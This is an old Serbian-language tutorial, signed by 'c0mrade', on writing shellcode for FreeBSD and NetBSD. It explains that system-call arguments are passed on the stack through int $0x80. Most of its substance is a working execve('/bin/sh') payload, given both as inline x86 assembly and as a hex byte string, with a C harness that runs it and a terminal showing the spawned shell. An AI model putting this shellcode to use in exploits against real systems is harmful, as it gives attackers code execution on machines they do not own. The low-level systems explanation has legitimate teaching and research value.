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0. Uvod

~~~~~~~

Uvod kao i svaki uvod ne sadrzi nista korisno tako da ni ovde niceg nece biti

Samo da napomenem da je potreban FreeBSD,takodje shell code koji cu ovde pri-

kazati se odnosi i na NetBSD.Zbog nemogucnosti da isti probam na OpenBSD bicu

nemocan da vam kazem da li radi ili ne.

                                              signed c0mrade

                                              linux registered user : 181116

                                              c0mrade(at)atlas(dot)cz

1. Predavanje parametra sistemskom pozivu na FreeBSD

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Predavanje parametra funkciji se vrsi preko stacka.Ali ovde se misli bukvalno

preko stack.Evo vam primer jednog programa koji poziva exit(0) pa cemo da 

razjasnimo u cemu je stos:

<++> exit.c

int main(){

  exit(0x2f2f);   

}

<-->

u gdb to izgleda ovako ->

0x80481a0 <main>:       push   %ebp

0x80481a1 <main+1>:     mov    %esp,%ebp

0x80481a3 <main+3>:     sub    $0x8,%esp

0x80481a6 <main+6>:     add    $0xfffffff4,%esp

0x80481a9 <main+9>:     push   $0x2f2f

0x80481ae <main+14>:    call   0x8048218 <exit>

0x80481b3 <main+19>:    add    $0x10,%esp

0x80481b6 <main+22>:    mov    %esi,%esi

0x80481b8 <main+24>:    leave

0x80481b9 <main+25>:    ret

0x80481ba <main+26>:    nop

0x80481bb <main+27>:    nop

0x8048350 <_exit>:      lea    0x1,%eax

0x8048356 <_exit+6>:    int    $0x80

0x8048358 <_exit+8>:    ret

0x8048359 <_exit+9>:    nop

0x804835a <_exit+10>:   nop

0x804835b <_exit+11>:   nop

evo nadam se da ovde razumete sta je sta pa cu ukratko da pojasnim nabrzaka

svi parametri se guraju na stack gde i ostaju i ne uzimaju se u registre

kao sto to Linux cini,prednost ovoga je sto nam svi registri ostaju i mogu

se koristiti kao recimo neki dodatni parametri funkciji.Sta znam mozete

ih koristiti kako hocete bez brige da ih sve morate sacuvati pa onda posle

vratiti na staro.(ovo vazi kad pisete neke sys_call-ove na BSDu jer se

samo oni pozivaju preko int $0x80,inace njihovo pisanje je veoma lako uz

pomoc KLDa) 

2. int $0x80

~~~~~~~~~~~~

Ovaj interupt sluzi da se prebacimo u kernel mode.Drugim recima gore prepisana

funkcija u asm bi ovako izgledala:

pushl $0x2f2f

call <ostavlja-EIP-na-stacku>

lea 0x1,%eax isto sto i mov $0x1,%eax

int $0x80

Epa stack za vreme okidanja int $0x80 izgleda ovako->>

 [EIP ][argumet ]

Posto call ostavlja EIP na stacku int 0x80 mora to da ima na umu.Znaci

on ce da ignorise prvi push-nuti argument posto je to EIP na stacku i

za prvi argument uzima ono sto je iza EIPa na stacku.Tokom pisanja coda

koji ne ide preko call za int $0x80 mozemo da stavimo bilo sta,uopste

nije bitno sta ce to biti.Evo ga gore napisan kod prepisan u asm kod:

pushl $0x2f2f

push  %ebx    <bilo+sta>

movl $0x1,%eax

int $0x80

3. Shell code

~~~~~~~~~~~~~

 Sad posto znamo kako to sve radi u praksi napisimo jedan shell code koji

podseca na Linux shell code sa tom razlikom sto ne ubacujemo argumente u

registre vec ih guramo na stack 

<++> shell.c

//copyright (c) 2001 by c0mrade

int main(){                            

   __asm__("jmp  callme         \n"    

           "jmpme:              \n"    

           "pop %ebx            \n"    

           "xorl %eax,%eax      \n"    

           "movb %al,0x7(%ebx)  \n"    

           "movl %ebx,0x8(%ebx) \n"    

           "movl %eax,0xc(%ebx) \n"    

           "push %eax           \n"    

           "leal 0x8(%ebx),%edx \n"    

           "push %edx           \n"    

           "push %ebx           \n"    

           "movb $0x3b,%al      \n"    

           "push %eax           \n"    

           "int $0x80           \n"    

           "callme:             \n"    

           "call jmpme          \n"    

           ".string \"/bin/sh\" \n");  

}                                      

<-->

kad se to blago se nama prebaci u HEX to mu dodje nesto ovako ->

<++> free_shell.c

//copyright (c) 2001 by c0mrade

char bar[]=

"\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d"

"\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";

int main(){

  void (*foo)()=(void *)bar;

  foo();

}

<-->

c0mrade@scorpion :~$ make free_shell

c0mrade@scorpion :~$ ./free_shell

$

4. Kraj

~~~~~~~

Eto to je bio kratak uvod u shell code na FreeBSDu i NetBSDu.Ovaj tutorial

se nece prosirivati s obzirom da svi koji ga mogu citati nece koristiti

FreeBSD a ono koji ga budu citali sa zeljom da nauce nesto znaci da su vec

savladali Linux pisanje execve,write,chroot i ostalih kodova pa zele da

znaju i ovo i najvaznije imaju neki BSD.Takvim ljudima cu da odgovorim

na svako pitanje:o)

5. Reference

~~~~~~~~~~~~

Greetings to gdb :o) 

A da pa nema tu neke mudrosti sve zivo sto sam naso na netu drugim recima

www.google.com pa trzite AT&T syntaxu i citajte i citajte.

Kad bi vam sad nabrajao sve sto sam procitao,ehm trebalo bi mi dosta prostora.

Za pocetak www.linuxassembly.org ima jedan text o asm programiranju pod FreeBSD.

Normalno sledeci korak je www.freebsd.org

<EOF>

